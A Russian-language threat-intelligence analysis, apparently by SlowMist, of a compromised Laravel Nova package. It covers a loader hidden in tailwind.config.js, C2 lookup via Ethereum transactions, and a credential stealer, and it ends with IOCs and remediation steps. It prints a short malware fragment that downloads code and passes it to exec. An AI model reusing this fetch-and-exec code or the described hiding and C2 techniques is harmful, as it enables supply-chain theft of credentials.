Фон
Образец происходит из ветки разработки расширения Laravel Nova `visanduma/nova-two-factor`, относящейся к активности PolinRider. Это PHP-пакет, опубликованный на Packagist; на момент анализа в этой статье суммарное число загрузок уже превышает 700 тысяч.
Цепочка доставки не вписывает C2-адрес в образец. Внедряемый код сначала запрашивает данные из Ethereum: из адреса получателя одной транзакции извлекаются IP двух серверов, затем по HTTP извлекается последующая полезная нагрузка. Чтобы атакующему поменять серверы, достаточно отправить в сети новую транзакцию; повторно внедрять этот пакет не нужно.
Конечная цель этой цепочки — кроссплатформенный похититель учетных данных, который собирает учетные записи и Cookie браузера, данные криптокошельков, базу данных менеджера паролей и учетные данные разработчика.
Полученная удаленная полезная нагрузка получена в рамках этого реального запроса и декодирована офлайн. Декодирование выполняет только преобразования XOR, zlib и base64; никакого скачивания содержимого не выполнялось. Выводы анализа основаны на статическом коде и ответах от удаленного узла; на данный момент нет доказательств на стороне жертвы, что эти действия кражи действительно произошли успешно.
Ответ MistEye
MistEye — это система веб3-угрозовой разведки и динамического мониторинга безопасности, разработанная компанией SlowMist самостоятельно. Она объединяет возможности безопасного мониторинга и агрегации данных разведки, предоставляя пользователям предупреждения о рисках в реальном времени и защиту активов.
MistEye сразу же синхронизировал риск через каналы отправки разведданных и оповещений клиентов.

Ниже приведен подробный технический анализ.
цепочка атак

На рисунке выше показана диаграмма, восстановленная на основе кода и результатов перехвата.
От одной строки конфигурации до локализации в цепочке
Внедренный код спрятан в конце конфигурационного файла. Первые 10 строк файла — обычная конфигурация Tailwind, 11-я строка завершает нормальный }; после чего идет 507 пробелов, и только после них начинается выполнение кода. Эта последовательность пробелов заставляет узкое окно отображать только кажущийся нормальным конец, но при этом не меняет семантику выполнения JavaScript: присваивание module.exports значения не прекращает выполнение модуля. Точка срабатывания тоже есть в самом образце: скрипты development, watch, production в package.json все указывают на Laravel Mix. webpack.mix.js передает tailwind.config.js как путь конфигурации в PostCSS-плагин, а Tailwind 3.1.8 в setupTrackingContext.js читает эту конфигурацию через require(userConfigPath); на этом шаге выполняется код верхнего уровня модуля конфигурации.
Загрузчик получает текущий адрес C2 через транзакции в блокчейне. Злоумышленник кодирует два IPv4-адреса в адресе назначения транзакции; образец извлекает эти сведения из транзакции с фиксированного адреса отправителя, затем загружает дальнейшую полезную нагрузку через HTTP. Таким образом злоумышленник может публиковать новые транзакции для обновления адреса серверов доставки без изменения уже внедренного файла конфигурации.
Сначала внедренный код инициализирует собственные глобальные переменные, а затем выполняет запросы в цепочке. Чтение идет из поля to транзакции: убирается префикс 0x, полученное значение восстанавливается в шестнадцатеричном виде до 20 байт. Первые 4 байта — это IPv4, байты с 4-го по 8-й — второй адрес, оставшиеся 12 байт — этот фрагмент кода не используется. Фактический результат, который был извлечен в этом запуске, — 166[.]88[.]134[.]75; два IP совпадают, а последние 12 байт — это открытая текстовая метка helloipbot!!.

Загрузчик запрашивает кандидаты-транзакции вокруг границ каждого тысячного блока, извлекая из этих транзакций закодированный адрес C2. Данные в цепочке показывают, что эта схема запросов зависит от того, как атакующий поддерживает «пульс»: в каждом периоде около границы тысячи появляется новая транзакция. В рамках этого вытягивания — все 392 транзакции с нулевой передачей, пустым calldata; gasUsed везде 21000, и единственная несущая информацию деталь — сам адрес to. Адрес также периодически меняется; последние пять периодов соответствуют следующим значениям: 166[.]88[.]134[.]62, 23[.]27[.]13[.]135, 166[.]88[.]73[.]46, 193[.]247[.]144[.]38 и в этом раунде — 166[.]88[.]134[.]75.

После завершения определения кода программа отправляет запрос на порт 443 извлеченного IP и получает ответы по двум путям: /0x/cls и /0x/ls. Важная деталь, которую легко неверно воспринять из-за номера порта: схема URL — http:, вызывается http.request, а 443 — это просто номер порта, без TLS. После циклического XOR-декодирования обе полезные нагрузки передаются в одну и ту же функцию выполнения, которая запускается в отделенном дочернем процессе Node. Путь /0x/cls также перед запуском дочернего процесса сначала вычисляет в текущем процессе один раз; если на этом вычислении возникнет ошибка, процесс завершится или он будет постоянно не возвращаться, то последующие дочерние процессы могут не достигнуть места выполнения.
Стоит упомянуть, что мы используем MistTrack для анализа вредоносного адреса 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a; его исходные средства поступали от FixedFloat.

Три инструмента — три роли
Два пути загрузки в конечном счете соответствуют трем компонентам. Количество интерфейсов больше, чем количество компонентов, потому что часть интерфейсов использует разное кодирование или резервные пути для предоставления одного и того же содержимого: поле body в ответе /0x/clb и текст ответа /0x/cb после раздельного декодирования дает одинаковый код; /0x/js и поле inz в ответе идентичны побайтно.
/0x/cls возвращает компонент удаленного управления clb с каналом команд Socket.IO; его можно забрать с адреса, указанного оператором, а затем выполнить Python. Загрузчик, который отвечает за получение и выполнение clb, также включает логику возврата при сбое: при ошибке он формирует текст из os.hostname(), os.userInfo().username, os.type() и os.release() и отправляет POST-запрос на /verify-human/<метка>.
Поле inz в ответе и отдельная копия, предоставляемая по /0x/js, — это повторно заражающий загрузчик inz. Он обфусцирован многоуровневым кодированием строк, плоским развертыванием потока управления, управляемого состоянием массива, и распределением через косвенные функции. После статического раскрытия видно, что он содержит собственную логику локализации в цепочке: используется тот же адрес отправителя Ethereum и то же поле to, преобразованные в IPv4, затем выполняется запрос /0x/cls для получения компонента удаленного управления; полученный компонент запускается в текущем процессе или в отделенном дочернем процессе. Кроме того, компонент удаленного управления clb умеет записывать этот код в скрипты хоста: когда хост позже загрузит этот код, он снова перейдет к процессу локализации и загрузки.
/0x/ls возвращает компонент загрузки boot для Python. Статическое восстановление показывает, что boot загружает некоторые переменные окружения в /snv и запускает Python для скачивания последующих полезных нагрузок.
url = f'{{GLOBAL_H}}/$/{id}' # id фиксировано как '1'
Request._code = urlopen(Request(url, headers=H)).read().decode('utf-8')
exec(Request._code)
Если urlopen не удалось, выполняется откат к системной утилите curl. Текст, полученный по двум путям, не проходит никакой проверки и передается в exec.
При обращении к этим путям в рамках этого запроса сервер отвечает несогласованно. HEAD /$/1 возвращает 404, GET /$/1 возвращает 200 и тело размером 36 485 байт, а Last-Modified каждый раз равен моменту данного запроса. Точно таким же способом запросить /d/python.zip, /d/python.7z и /d/7zr.exe — все три пути возвращают 500.
Кроссплатформенный похититель учетных данных
Последний этап полученной полезной нагрузки: после декодирования Base64 и распаковки zlib это скрипт Python объемом 89 149 байт.
Этот полезная нагрузка предназначена для чувствительных данных, доступных учетной записи, которая ее запускает. Она включает логику извлечения и расшифровки учетных данных для входа, а также напрямую копирует файлы данных кошельков, менеджеров паролей и инструментов разработчика. Цели сбора в коде в основном делятся на следующие пять категорий.
Учетные записи браузера, сессии и платежная информация: покрываются браузеры Chromium (Chrome, Edge, Brave, Arc и т.п.) и Firefox. Читаются данные для входа, Cookie и база Web Data, и предпринимаются попытки расшифровать и экспортировать. Для части путей Chromium также затрагиваются данные платежных карт; дополнительно присутствует копирование конфигураций и данных расширений Firefox.
Данные криптокошельков и приложений кошельков: файлы Exodus, Electrum, Atomic, Monero и т.п., id.json для Solana, данные расширений MetaMask, Phantom и др., а также данные настольных приложений Ledger Live и Trezor Suite; поиск по заданным путям и идентификаторам расширений и копирование файлов или каталогов.
Данные менеджеров паролей: локальные базы данных, кеши и конфигурации приложений и расширений вроде 1Password, Bitwarden, NordPass, KeePass/KeePassXC, Dashlane, LastPass и т.п.; копируются соответствующие файлы и каталоги, а некоторые SQLite-базы данных собираются вместе с лог-файлами.
Учетные данные разработчика и переменные окружения: файлы с Git-учетными данными, hosts.yml для GitHub CLI, локальное состояние VS Code, журналы GitHub Desktop и переменные окружения текущего процесса; копируются файлы и переменные окружения экспортируются в JSON и текст. Это может включать токены доступа, внедренные в среду разработки или сборки.
Хранилище системных учетных данных: менеджер Windows Credential Manager и записи из набора Linux Secret Service по умолчанию. Вызываются системные интерфейсы для перечисления и предпринимаются попытки прочитать содержимое учетных данных, доступных текущей учетной записи.
Что касается данных браузера: образец копирует исходную базу данных, а также содержит логику, которая вызывает Windows DPAPI, macOS Keychain и Linux Secret Service/KWallet для получения материалов для расшифровки, пытается восстановить чувствительные поля и экспортирует их в открытом виде. Успешность зависит от доступности требуемых ключей или интерфейсов расшифровки, наличия авторизации доступа и совместимости формата данных браузера.
Образец также ищет пути вроде /mnt/*/Users/*/AppData/... и т.п., пытаясь прочитать смонтированные каталоги пользователей Windows. Поэтому область сбора может расширяться на другие разделы систем, к которым текущая учетная запись имеет доступ; фактически считываемое содержимое ограничено состоянием монтирования и правами на файлы.
Результаты сбора записываются в локальный каталог и упаковываются. Образец отправляет на /u/e информацию о хосте и счетчик сбора, читает параметры Telegram-загрузки из ответа; затем загружает архив через /u/f или, если выполнены условия кода, вызывает Telegram sendDocument. Логика загрузки включает повторные попытки, переключение хоста и нарезку на фрагменты; после успешной загрузки предпринимается попытка удалить локальный архив.
Этот код также содержит две части самоограничений. При ответе 429 он сразу завершает работу. Blocked (BOT) — вторая часть: если образец не находит в среде Linux WSL2-идентификатор, а также счетчик системных учетных данных, счетчик расширений и счетчик профиля Firefox равны нулю, он фиксирует этот маркер и пропускает дальнейшие основные этапы сбора и загрузки. До этого решения образец уже выполнил экспорт переменных окружения, перечисление системных учетных данных и сканирование части каталогов.
Итог
Подтверждено, что это целая цепочка доставки: от конфигурации сборки до похитителя. Вход — загрузчик, который добавляется в tailwind.config.js; он запускается при сборке фронтенда. Локализация не зависит от доменов: читается поле to одной транзакции в Ethereum. Третий этап состоит из трех компонентов: компонент удаленного управления clb, затем повторно заражающий загрузчик inz и загрузочный компонент boot, отвечающий за расширение на Python. Финальная цель — похититель, покрывающий три платформы: цели включают учетные данные браузера, криптокошельки, менеджеры паролей и учетные данные разработчика.
Риски приходятся на машины разработчиков, сборочные контейнеры и CI runner, на которых выполняется сборка фронтенда. Если проект когда-либо собирался на этой машине, у загрузчика появляется шанс выполниться; а когда вор-код (stealer) будет выполнен, могут быть прочитаны браузерные учетные данные, кошельковые файлы и GitHub token в пределах прав учетной записи, от имени которой выполняется код.
Рекомендуется
1. Проверьте downstream-проект: composer.lock и убедитесь, что visanduma/nova-two-factor попадает на вредоносные версии вроде dev-nova5 и т.п. Для этого пакетного снапшота в любой момент времени сверяйте исходный код по хэшу файла tailwind.config.js.
2. На затронутых машинах разработчиков и CI runner выполнить поиск сетевых записей, сделанных во время сборки. При сборке Node-процесс отправляет JSON-RPC-запросы к нескольким Ethereum RPC, а также посылает нешифрованный HTTP-запрос на «голый» порт IP 443; в запросе также присутствует заголовок Sec-V.
3. Проверьте, есть ли в командной строке процесса node -e и содержит ли префикс global['_V'], а также наличие Python-процессов, запущенных через py -c. Ветвь с прямым вычислением не создает новый процесс; только проверка node -e приведет к пропуску этого типа выполнения.
4. Если подтверждено, что сборка успешно выполнялась, обрабатывайте соответствующий хост как скомпрометированный. В чистой среде выполните ротацию браузерных главных паролей, кошельковых seed-фраз и приватных ключей, GitHub CLI token и прочих учетных данных контроля версий, которые фигурировали на этой машине в момент времени, и проведите аудит недавнего доступа к этим учетным записям.
5. Сохраните composer.lock, локальные Git-объекты и reflog, время сборки, версию Node на тот момент и ответы на исходные HTTP-запросы. Не обновляйте зависимости и не пересобирайте до завершения расследования.
6. Сетевая блокировка: ориентируйтесь на IP из раздела IOC этой статьи. Не блокируйте произвольно весь Telegram-домен — это заимствованный публичный сервис. Также не ограничивайтесь только IP: в сочетании с проверкой хоста и учетной записи проверьте, не осталось ли на сборочной машине упакованных архивов, файлов с экспортом переменных окружения и записей о подозрительных исходящих соединениях.
IOC
IP
166[.]88[.]134[.]75
166[.]88[.]134[.]62
23[.]27[.]13[.]135
166[.]88[.]73[.]46
193[.]247[.]144[.]38
Адрес кошелька
0xa322e5f3d311d3080e6f0121063e9adc2490ef1a
Вредоносная зависимость
Packagist:visanduma/nova-two-factor@dev-nova4support
Packagist:visanduma/nova-two-factor@dev-main
Packagist:visanduma/nova-two-factor@dev-using-inertia
Packagist:visanduma/nova-two-factor@dev-nova5
Вредоносный файл
filename: tailwind.config.js
SHA256: 515a53291d25d229e1f9fa72e66407e1cfd7e77c91478400b24d5185af68531a
Справка
https://socket.dev/blog/polinrider-github-packagist
О MistEye
MistEye — платформа Web3-угрозовой разведки и динамического мониторинга безопасности, разработанная компанией SlowMist самостоятельно. Через API она предоставляет открытый пакетный экосистемный детектор вредоносной активности и возможности предварительного предупреждения по рискам цепочки поставок.
Все вредоносные пакеты и IOC, задействованные в данной кампании, подключены к движку обнаружения угроз MistEye. Разработчики могут с помощью API выполнять автоматическую проверку зависимостей проекта, быстро определять, попали ли они на известные вредоносные пакеты, и получать рекомендации по реагированию.
📖 API-документация:https://app.misteye.io/api-docs
🛠️ MistEye-DepScan:https://github.com/slowmist/MistEye-DepScan
Легкий CLI-инструмент: одной командой сканирует зависимости проекта и известные вредоносные пакеты среди глобально установленных пакетов; поддерживает экосистемы npm / PyPI / Cargo / Go / RubyGems
🛠️ MistEye-Skills:https://github.com/slowmist/misteye-skills
Пакет безопасностных навыков для AI-кодера: автоматически запускает проверки MistEye до установки зависимостей и доступа по URL.
🛠️ MistEye-DNS-Guard:https://github.com/slowmist/MistEye-DNS-Guard
Инструмент защиты DNS: обнаруживает вредоносные домены и рискованные обращения, распознает сетевые угрозы вроде фишинга и C2
Эта статья написана командой угрозовой разведки SlowMist совместно с MistEye Threat Intelligence System и анализом, управляемым AI-агентом SlowMist Agent. Если есть вопросы, обращайтесь — мы будем рады обратной связи.

